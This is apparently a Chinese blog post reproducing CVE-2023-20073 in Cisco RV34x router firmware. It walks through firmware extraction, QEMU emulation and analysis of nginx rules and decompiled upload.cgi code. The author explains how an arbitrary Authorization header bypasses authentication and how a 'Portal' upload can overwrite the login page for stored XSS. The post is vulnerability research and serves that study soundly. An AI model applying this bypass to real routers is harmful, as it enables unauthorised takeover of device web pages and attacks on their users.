CVE-2023-20073复现

ubuntu18复现的

漏洞介绍

Cisco RV340RV340WRV345RV345P 四款型号的路由器中最新固件均存在一个未授权任意文件上传漏洞 ,攻击者可以在未授权的情况下将文件上传到 /tmp/upload 目录中,然后利用 upload.cgi 程序中存在的漏洞,最终造成存储型 XSS 攻击。

固件提取

到思科官网下载img文件然后binwalk提取

1
https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.29
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
yy@yy-virtual-machine:~/桌面/1% binwalk -Me RV34X-v1.0.03.29-2022-10-17-13-45-34-PM.img

Scan Time: 2026-03-10 21:20:49
Target File: /home/yy/桌面/1/RV34X-v1.0.03.29-2022-10-17-13-45-34-PM.img
MD5 Checksum: a77fbe0efcc4860aa6d6e8a96841fbcb
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 uImage header, header size: 64 bytes, header CRC: 0xC5338998, created: 2022-10-17 08:15:40, image size: 74913098 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xD5A96942, OS: Linux, CPU: ARM, image type: Firmware Image, compression type: gzip, image name: "RV340 Firmware Package"
64 0x40 gzip compressed data, from Unix, last modified: 2022-10-17 08:15:38
57629538 0x36F5B62 Encrypted Hilink uImage firmware header


Scan Time: 2026-03-10 21:20:56

有点大,然后可以找到rootfs文件,我发现我的var文件可以指向tmp文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
yy@yy-virtual-machine:~/桌面/1/rootfs% ls
bin dev lib mnt proc root sys tmp var
default_uci_config etc media overlay rom sbin test_scripts usr www
yy@yy-virtual-machine:~/桌面/1/rootfs% ls -all
总用量 76
drwxrwxr-x 19 yy yy 4096 310 21:21 .
drwxrwxr-x 4 yy yy 4096 310 21:23 ..
drwxrwxr-x 2 yy yy 4096 1017 2022 bin
drwxrwxr-x 2 yy yy 4096 1017 2022 default_uci_config
drwxrwxr-x 2 yy yy 4096 1017 2022 dev
drwxrwxr-x 43 yy yy 4096 1017 2022 etc
drwxrwxr-x 13 yy yy 4096 1017 2022 lib
drwxrwxr-x 2 yy yy 4096 1017 2022 media
drwxrwxr-x 3 yy yy 4096 1017 2022 mnt
drwxrwxr-x 2 yy yy 4096 1017 2022 overlay
drwxrwxr-x 2 yy yy 4096 1017 2022 proc
drwxrwxr-x 2 yy yy 4096 1017 2022 rom
drwxrwxr-x 3 yy yy 4096 1017 2022 root
drwxrwxr-x 2 yy yy 4096 1017 2022 sbin
drwxrwxr-x 2 yy yy 4096 1017 2022 sys
drwxrwxr-x 2 yy yy 4096 1017 2022 test_scripts
drwxrwxr-x 2 yy yy 4096 1017 2022 tmp
drwxrwxr-x 8 yy yy 4096 1017 2022 usr
lrwxrwxrwx 1 yy yy 4 310 21:23 var -> /tmp
drwxrwxr-x 12 yy yy 4096 1017 2022 www
yy@yy-virtual-machine:~/桌面/1/rootfs%

Qemu连接

然后看下busybox文件,32位arm小端,然后到官网下载对应文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
yy@yy-virtual-machine:~/桌面/1/rootfs/bin% ls
add_vlans dd gzip mount rmdir uname
ash df hostname mv sed usleep
board_detect dmesg ipcalc.sh netmsg sh vi
busybox dnsdomainname kill netstat sleep wps_ap_pin
cat eapd ln nice strings wps_cli
check_ubifs_error echo lock opkg sync wps_daemon
chgrp egrep login pidof tar wps_monitor
chmod false login.sh ping touch wps_pbc
chown fgrep ls ping6 true wps_pin
config_generate fsync mkdir ps ubus wps_pin_check
cp grep mknod pwd uci_cache wps_pingen
date gunzip mktemp rm umount zcat
yy@yy-virtual-machine:~/桌面/1/rootfs/bin% file busybox
busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped
yy@yy-virtual-machine:~/桌面/1/rootfs/bin%

官网,然后下载下面三个,用wget,但是我的虚拟机连接不到网(不知道为什么),然后用另外一个ubuntu下载压缩一下黏贴过去就好了

1
https://people.debian.org/~aurel32/qemu/armhf/

1773149368371

然后开启本地网卡,给个权限然后执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
yy@yy-virtual-machine:~/桌面/1% cat net.sh
#!/bin/sh
#sudo ifconfig eth0 down # 首先关闭宿主机网卡接口
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33 # 在 br0 中添加一个接口
sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1 # 设置 br0 的转发延迟
sudo brctl sethello br0 1 # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0 # 查看虚拟网桥列表
sudo brctl showstp br0 # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
sudo brctl showstp br0
yy@yy-virtual-machine:~/桌面/1%

然后执行

1
2
3
4
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic -smp 4

然后就进去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
yy@yy-virtual-machine:~/桌面/CVE-2023-20073% sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic -smp 4
[sudo] yy 的密码:
pulseaudio: set_sink_input_volume() failed
pulseaudio: Reason: Invalid argument
pulseaudio: set_sink_input_mute() failed
pulseaudio: Reason: Invalid argument
Uncompressing Linux... done, booting the kernel.

Debian GNU/Linux 7 debian-armhf ttyAMA0

debian-armhf login: root
Password:
Last login: Tue Mar 10 13:05:09 UTC 2026 on ttyAMA0
Linux debian-armhf 3.2.0-4-vexpress #1 SMP Debian 3.2.51-1 armv7l

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@debian-armhf:~# ls
root@debian-armhf:~#

但是看下qemu网卡发现没有ip配置,所以给他配一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
root@debian-armhf:~# ifconfig
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1 errors:0 dropped:0 overruns:0 frame:0
TX packets:12 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:42 (42.0 B) TX bytes:2288 (2.2 KiB)
Interrupt:47

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

root@debian-armhf:~# ifconfig eth0 192.168.30.100 netmask 255.255.255.0 up
root@debian-armhf:~# ifconfig
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
inet addr:192.168.30.100 Bcast:192.168.30.255 Mask:255.255.255.0
inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2 errors:0 dropped:0 overruns:0 frame:0
TX packets:19 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:102 (102.0 B) TX bytes:4682 (4.5 KiB)
Interrupt:47

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

root@debian-armhf:~# ping 192.168.30.136
PING 192.168.30.136 (192.168.30.136) 56(84) bytes of data.
From 192.168.30.100 icmp_seq=1 Destination Host Unreachable
From 192.168.30.100 icmp_seq=2 Destination Host Unreachable
From 192.168.30.100 icmp_seq=3 Destination Host Unreachable
^C
--- 192.168.30.136 ping statistics ---
5 packets transmitted, 0 received, +3 errors, 100% packet loss, time 4027ms
pipe 3
root@debian-armhf:~#

传送文件

然后是启动服务,将rootfs压缩为tar.gz文件,但是发现scp不了,看了下本地ip,查了下发现ip是在ens33的,我们要改为br0的

1
tar -czvf rootfs.tar.gz rootfs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
y@yy-virtual-machine:~/桌面/CVE-2023-20073% ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000
link/ether 00:0c:29:ba:19:a8 brd ff:ff:ff:ff:ff:ff
inet 192.168.30.136/24 brd 192.168.30.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 2409:8934:ee2:cdc:20c:29ff:feba:19a8/64 scope global dynamic mngtmpaddr
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:feba:19a8/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:e7:97:a8:57 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
5: tap0: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000
link/ether 62:31:98:77:74:f9 brd ff:ff:ff:ff:ff:ff
6: br0: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 00:0c:29:ba:19:a8 brd ff:ff:ff:ff:ff:ff
inet6 fe80::20c:29ff:feba:19a8/64 scope link
valid_lft forever preferred_lft forever

将ens33关掉再重启,然后给br0加ip,然后进行传送

1
sudo scp -r rootfs.tar.gz root@192.168.30.100:/root/rootfs.tar.gz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
yy@yy-virtual-machine:~/桌面/CVE-2023-20073% sudo ifconfig ens33 0.0.0.0 down
yy@yy-virtual-machine:~/桌面/CVE-2023-20073% sudo ifconfig ens33 promisc up
yy@yy-virtual-machine:~/桌面/CVE-2023-20073% sudo ifconfig br0 192.168.30.136 netmask 255.255.255.0 up
yy@yy-virtual-machine:~/桌面/CVE-2023-20073% sudo route add default gw 192.168.30.1
yy@yy-virtual-machine:~/桌面/CVE-2023-20073% ip addr\
>
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000
link/ether 00:0c:29:ba:19:a8 brd ff:ff:ff:ff:ff:ff
inet6 fe80::20c:29ff:feba:19a8/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:e7:97:a8:57 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
5: tap0: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000
link/ether 62:31:98:77:74:f9 brd ff:ff:ff:ff:ff:ff
6: br0: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 00:0c:29:ba:19:a8 brd ff:ff:ff:ff:ff:ff
inet 192.168.30.136/24 brd 192.168.30.255 scope global br0
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:feba:19a8/64 scope link
valid_lft forever preferred_lft forever
yy@yy-virtual-machine:~/桌面/CVE-2023-20073% sudo scp -r rootfs.tar.gz root@192.168.30.100:/root/rootfs.tar.gz
The authenticity of host '192.168.30.100 (192.168.30.100)' can't be established.
ECDSA key fingerprint is SHA256:vsd1d4bIDIejcLXSmxMbWQRifTXk5s5hgqU6Ii6E2+E.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.30.100' (ECDSA) to the list of known hosts.
root@192.168.30.100's password:
rootfs.tar.gz 100% 59MB 522.4KB/s 01:56
yy@yy-virtual-machine:~/桌面/CVE-2023-20073%

qemu:传送成功,然后解包一下

1
2
3
root@debian-armhf:~# ls
rootfs.tar.gz
root@debian-armhf:~# tar -xzvf rootfs.tar.gz
1
2
3
4
5
6
root@debian-armhf:~# cd rootfs
root@debian-armhf:~/rootfs# ls
bin dev lib mnt proc root sys tmp var
default_uci_config etc media overlay rom sbin test_scripts usr www
root@debian-armhf:~/rootfs#

开启服务

然后给rootfs文件可读可写可执行,进入,由于chroot的虚拟环境会导致其无法访问原来的proc,dev,所以这里我们给他挂载到虚拟环境中

1
2
3
4
5
6
chmod -R 777 rootfs
cd rootfs/
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh

看下软链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/ # ls -all
drwxrwxrwx 20 1000 1000 4096 Mar 10 15:05 .
drwxrwxrwx 20 1000 1000 4096 Mar 10 15:05 ..
drwxr-xr-x 2 root root 4096 Mar 10 15:05 755
drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 bin
drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 default_uci_config
drwxr-xr-x 10 root root 2760 Mar 10 13:32 dev
drwxrwxrwx 43 1000 1000 4096 Mar 10 15:12 etc
drwxrwxrwx 13 1000 1000 4096 Oct 17 2022 lib
drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 media
drwxrwxrwx 7 1000 1000 4096 Mar 10 15:05 mnt
drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 overlay
drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 proc
drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 rom
drwxrwxrwx 3 1000 1000 4096 Mar 10 14:52 root
drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 sbin
drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 sys
drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 test_scripts
drwxrwxrwx 26 1000 1000 4096 Mar 10 15:12 tmp
drwxrwxrwx 8 1000 1000 4096 Oct 17 2022 usr
lrwxrwxrwx 1 1000 1000 4 Mar 10 12:37 var -> /tmp
drwxrwxrwx 12 1000 1000 4096 Oct 17 2022 www
/ #

然后再该目录下可以看到nginx,那个就是启动服务脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/etc/init.d # ls
SwinfoUpdate firmware schedule_reboot
aaa fstab smcroute
abootpattern0 gpio_reset snmpinit
abootpattern1 hardwaredmz sslvpn
abootpattern2 ipgroup strongswan
abootpattern3 ipsec sudo
abootpattern4 krb5kdc switch
ad l2tpd swupdateinit
avahi-daemon lanwancheck sysctl
avc ldapclient sysfixtime
bonjour led syslog
boot license sysntpd
bootwrapper lldpd syspppoerelay
bootwrapper2 mcproxy sysstat
bwmgmt miniupnpd system
captive_portal ms-switch systemconfig
certificate mwan3 systemstats
cmm netifd telnet
confd network ucifile_check
config_update.sh nginx umbrella
config_update.sh.rv340 olh umount
cron opsdb usb
ddns pnpd usbmode
devices poeinit uwsgi
dnscrypt-proxy pptpd vpnpassthrough
dnsmasq qos vpnresourcemgmt
done quagga wanport
dot1x racoon webfilter
dropbear radius wifi_switch
dslite radvd wlan_led
email rdnssd zburn_in_test
fci rip zfinish
firewall schedule zzinfo_show
/etc/init.d # pwd
/etc/init.d
/etc/init.d #

执行一下

1
/etc/init.d/nginx start

但是会显示

1
2
FAILED: confd_load_schemas(addr, addrlen), Error: system call failed (24): Connection refused, in function run, line 2413
uci: Entry not found

然后我们发现/etc/init.d有个confd文件执行一下,显示要什么证书,然后进入该目录,执行 generate_default_cert ,这个可以生成默认证书,但是也有uci: Entry not found这个问题,然后发现 /etc/init.d/boot 有个内容是生成这个路径,然后执行一下就可以了

所有步骤是

1
2
3
4
5
/etc/init.d/boot boot
generate_default_cert
/etc/init.d/confd start
/etc/init.d/nginx start

连接成功了

1773155664773

题外话

每次退出重启服务我都会报错,所以每次重启我就把rootfs文件删除重解压

命令

1
2
3
4
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic -smp 4
1
2
3
4
5
6
7
8
9
10
11
ifconfig eth0 192.168.30.100 netmask 255.255.255.0 up
tar -xzvf rootfs.tar.gz
chmod -R 777 rootfs
cd rootfs/
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh
/etc/init.d/boot boot
generate_default_cert
/etc/init.d/confd start
/etc/init.d/nginx start

漏洞成因

rest.url.conf

我们在nginx文件夹内找到rest.url.conf的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
location /api/ {
proxy_pass http://rest;
include /var/nginx/conf.d/proxy.conf;
} #这个是将/api/xxx的请求代理给http://rest

location /api/operations/ciscosb-file:file-copy {
proxy_pass http://rest;
include /var/nginx/conf.d/proxy.conf;
proxy_read_timeout 3600;
proxy_send_timeout 3600;
}

location /api/operations/ciscosb-file:form-file-upload { #这个location是用来匹配URL路径的指令,比如访问192.168.0.1:/api/operations/ciscosb-file:form-file-upload 就可以执行到下面的代码就可以执行以下代码
set $deny 1;

if ($http_authorization != "") {
set $deny "0";
} #这个只检查$http_authorization头是否存在,也就是说我们可以直接发Authorization: anything就可以绕过了,检查太过简单了

if ($deny = "1") {
return 403;
} #如果没有那个头,就会返回


upload_pass /form-file-upload; #转到后台处理/form-file-upload的url
upload_store /tmp/upload; #这个可以将文件路径设为/tmp/upload
upload_store_access user:rw group:rw all:rw; #给读写权限
upload_set_form_field $upload_field_name.name "$upload_file_name"; #文件名
upload_set_form_field $upload_field_name.content_type "$upload_content_type"; #文件内容种类
upload_set_form_field $upload_field_name.path "$upload_tmp_path"; #文件上传后的地址
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5"; #md5校验
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size"; #文件大小
upload_pass_form_field "^.*$"; #正则检查
upload_cleanup 400 404 499 500-505; #上传的文件如果是这些状态码,会被清理
upload_resumable on;
}

location /restconf/ {
proxy_pass http://rest;
include /var/nginx/conf.d/proxy.conf;
}

location /restconf/operations/ciscosb-file:file-copy {
proxy_pass http://rest;
include /var/nginx/conf.d/proxy.conf;
proxy_read_timeout 3600;
proxy_send_timeout 3600;
}

upload.cgi

主要看这两个函数

1773217707230

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
int __fastcall main(int a1, char **a2, char **a3)
{
const char *v3; // r6
char *v4; // r4
char *v5; // r7
char *v6; // r8
void *v7; // r0
_BYTE *v8; // r5
char *v9; // r0
void *v10; // r0
int v11; // r0
int v12; // r6
size_t v13; // r0
char *v14; // r6
char *v15; // r3
int v16; // r6
char *v17; // r8
int v18; // r0
int v19; // r6
char *v20; // r6
int v21; // r0
int v22; // r8
int v23; // r7
char *v24; // r6
int v25; // r0
const char *v26; // r0
char *haystack; // [sp+14h] [bp-464h] BYREF
int v29; // [sp+18h] [bp-460h] BYREF
char *v30; // [sp+1Ch] [bp-45Ch] BYREF
int v31; // [sp+20h] [bp-458h] BYREF
int v32; // [sp+24h] [bp-454h] BYREF
int v33; // [sp+28h] [bp-450h] BYREF
int v34; // [sp+2Ch] [bp-44Ch] BYREF
int v35; // [sp+30h] [bp-448h] BYREF
int v36; // [sp+34h] [bp-444h] BYREF
int v37; // [sp+38h] [bp-440h] BYREF
int v38; // [sp+3Ch] [bp-43Ch] BYREF
int v39; // [sp+40h] [bp-438h] BYREF
_DWORD v40[7]; // [sp+44h] [bp-434h] BYREF
_BYTE s[1048]; // [sp+60h] [bp-418h] BYREF

v3 = getenv("CONTENT_LENGTH");
v4 = getenv("CONTENT_TYPE");
v5 = getenv("REQUEST_URI");
v6 = getenv("HTTP_COOKIE");
v7 = memset(s, 0, 0x400u);
haystack = 0;
v29 = 0;
v30 = 0;
v31 = 0;
v32 = 0;
v33 = 0;
v34 = 0;
v35 = 0;
v36 = 0;
v37 = StrBufCreate(v7);
v38 = StrBufCreate(v37);
v39 = StrBufCreate(v38);
if ( v3 )
v3 = (const char *)atoi(v3);
v8 = malloc((size_t)(v3 + 1));
v8[fread(v8, 1u, (size_t)v3, (FILE *)_bss_start)] = 0;
if ( v4 && strstr(v4, "boundary=") )
{
StrBufSetStr(v37, "--");
v9 = strstr(v4, "boundary");
StrBufAppendStr(v37, v9 + 9);
}
v10 = memset(v40, 0, sizeof(v40));
v40[1] = sub_1138C;
v40[2] = sub_11464;
dword_2348C = json_object_new_object(v10);
v11 = StrBufToStr(v37);
v12 = multipart_parser_init(v11, v40);
v13 = strlen(v8);
multipart_parser_execute(v12, v8, v13);
multipart_parser_free(v12);
jsonutil_get_string(dword_2348C, &v29, "\"file.path\"", -1);
jsonutil_get_string(dword_2348C, &haystack, "\"filename\"", -1);
jsonutil_get_string(dword_2348C, &v30, "\"pathparam\"", -1);
jsonutil_get_string(dword_2348C, &v31, "\"fileparam\"", -1);
jsonutil_get_string(dword_2348C, &v32, "\"destination\"", -1);
jsonutil_get_string(dword_2348C, &v33, "\"option\"", -1);
jsonutil_get_string(dword_2348C, &v34, "\"cert_name\"", -1);
jsonutil_get_string(dword_2348C, &v35, "\"cert_type\"", -1);
jsonutil_get_string(dword_2348C, &v36, "\"password\"", -1);
if ( v6 )
get_strtok_value(v6, "sessionid=", ";", s);
if ( !v29 || match_regex("^/tmp/upload/[0-9]{10}$") )
{
puts("Content-type: text/html\n");
printf("Error Input");
goto LABEL_31;
}
StrBufSetStr(v39, v31);
v14 = haystack;
if ( haystack )
{
if ( strstr(haystack, ".xml") )
{
v15 = "Configuration";
}
else
{
if ( !strstr(v14, ".img") )
{
LABEL_17:
StrBufSetStr(v39, v14);
goto LABEL_18;
}
v15 = "Firmware";
}
v30 = v15;
goto LABEL_17;
}
LABEL_18:
v16 = v29;
v17 = v30;
v18 = StrBufToStr(v39);
v19 = sub_115EC(v17, v16, v18);
if ( v19 )
{
puts("Content-type: text/html\n");
puts("Error Input");
switch ( v19 )
{
case -2:
v26 = "Configure upload fail";
break;
case -3:
v26 = "The length of filename is greater than 128";
break;
case -4:
v26 = "The filename is illegal, only support 'a-z' 'A-Z' '0-9' '_' '.' '-'";
break;
default:
goto LABEL_31;
}
puts(v26);
goto LABEL_31;
}
if ( !strcmp(v5, "/api/operations/ciscosb-file:form-file-upload") )
{
v20 = v30;
v21 = StrBufToStr(v39);
sub_125A8(s, v20, v21, v29);
}
else if ( !strcmp(v5, "/upload") && !match_regex("^[A-Fa-f0-9]{64}$") )
{
v22 = v32;
v23 = v33;
v24 = v30;
v25 = StrBufToStr(v39);
sub_1277C(s, v22, v23, v24, v25, v34, v35, v36);
}
LABEL_31:
free(v8);
StrBufFree(&v38);
StrBufFree(&v37);
StrBufFree(&v39);
json_object_put(dword_2348C);
SYSTEM("rm -f %s/* > /dev/null 2>&1", "/tmp/upload");
return 0;
}

sub_115EC

可以发现,当我们把a1设为"Portal",会执行v8 = "/tmp/www/",这个www可以被web服务器直接访问,我们看关键函数,sprintf(s, "mv -f %s %s/%s", a2, v8, a3),a2是v16=v29,而前面的main函数有个jsonutil_get_string(dword_2348C, &v29, "\"file.path\"", -1);,就是将文件的路径传给v29,假设是/tmp/upload/abc,v8="/tmp/www/",所以是执行mv -f /tmp/upload/abc /tmp/www/v18,然后执行,成功上传返回0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int __fastcall sub_115EC(const char *a1, const char *a2, const char *a3)
{
bool v3; // zf
const char *v8; // r4
int v9; // r4
char s[316]; // [sp+Ch] [bp-13Ch] BYREF

v3 = a3 == 0;
if ( a3 )
v3 = a1 == 0;
if ( v3 )
return -1;
if ( !strcmp(a1, "Firmware") )
{
v8 = "/tmp/firmware/";
}
else if ( !strcmp(a1, "Configuration") )
{
v8 = "/tmp/configuration/";
}
else if ( !strcmp(a1, "Certificate") )
{
v8 = "/tmp/in_certs/";
}
else if ( !strcmp(a1, "Signature") )
{
v8 = "/tmp/signature/";
}
else if ( !strcmp(a1, "3g-4g-driver") )
{
v8 = "/tmp/3g-4g-driver/";
}
else if ( !strcmp(a1, "Language-pack") )
{
v8 = "/tmp/language-pack/";
}
else if ( !strcmp(a1, "User") )
{
v8 = "/tmp/user/";
}
else
{
if ( strcmp(a1, "Portal") )
return -1;
v8 = "/tmp/www/";
}
if ( !is_file_exist(a2) )
return -2;
if ( strlen(a2) > 0x80 || strlen(a3) > 0x80 )
return -3;
if ( match_regex("^[a-zA-Z0-9_.-]*$") )
return -4;
sprintf(s, "mv -f %s %s/%s", a2, v8, a3); #这个就是关键函数了
debug("cmd=%s", s);
if ( !s[0] )
return -1;
v9 = system(s);
if ( v9 < 0 )
error((int)"upload.cgi: %s(%d) Upload failed!", (int)"prepare_file", (const char *)0xAD);
return v9;
}

如果只是上传到那个目录(/tmp/www)其实没什么,但是这有个关键,服务的index.html和login.html都是指向/tmp/www的文件,那如果将其覆盖掉就可以让其返回我们想要的页面,从而实现存储型 XSS 攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[16:43:39] ~/桌面/CVE-2023-20073/rootfs/www
$ ls -all
总用量 80
drwxrwxr-x 12 yy yy 4096 1017 2022 .
drwxrwxr-x 19 yy yy 4096 310 20:34 ..
-rw-rw-r-- 1 yy yy 5008 926 2022 about.html
drwxrwxr-x 2 yy yy 4096 1017 2022 cgi-bin
drwxrwxr-x 2 yy yy 4096 1017 2022 config
drwxrwxr-x 2 yy yy 4096 1017 2022 debug
lrwxrwxrwx 1 yy yy 14 310 20:37 download -> /tmp/download/
lrwxrwxrwx 1 yy yy 13 310 20:37 help -> /tmp/www/help
drwxrwxr-x 15 yy yy 4096 1017 2022 htm
drwxrwxr-x 2 yy yy 4096 1017 2022 i18n
lrwxrwxrwx 1 yy yy 19 310 20:37 index.html -> /tmp/www/index.html
-rw-rw-r-- 1 yy yy 3821 926 2022 index.html.default
drwxrwxr-x 2 yy yy 4096 1017 2022 js
drwxrwxr-x 20 yy yy 4096 1017 2022 lib
lrwxrwxrwx 1 yy yy 19 310 20:37 login.html -> /tmp/www/login.html
-rw-rw-r-- 1 yy yy 18231 926 2022 login.html.default
drwxrwxr-x 2 yy yy 4096 926 2022 model
drwxrwxr-x 2 yy yy 4096 1017 2022 portal
drwxrwxr-x 4 yy yy 4096 1017 2022 themes
[16:43:43] ~/桌面/CVE-2023-20073/rootfs/www
$

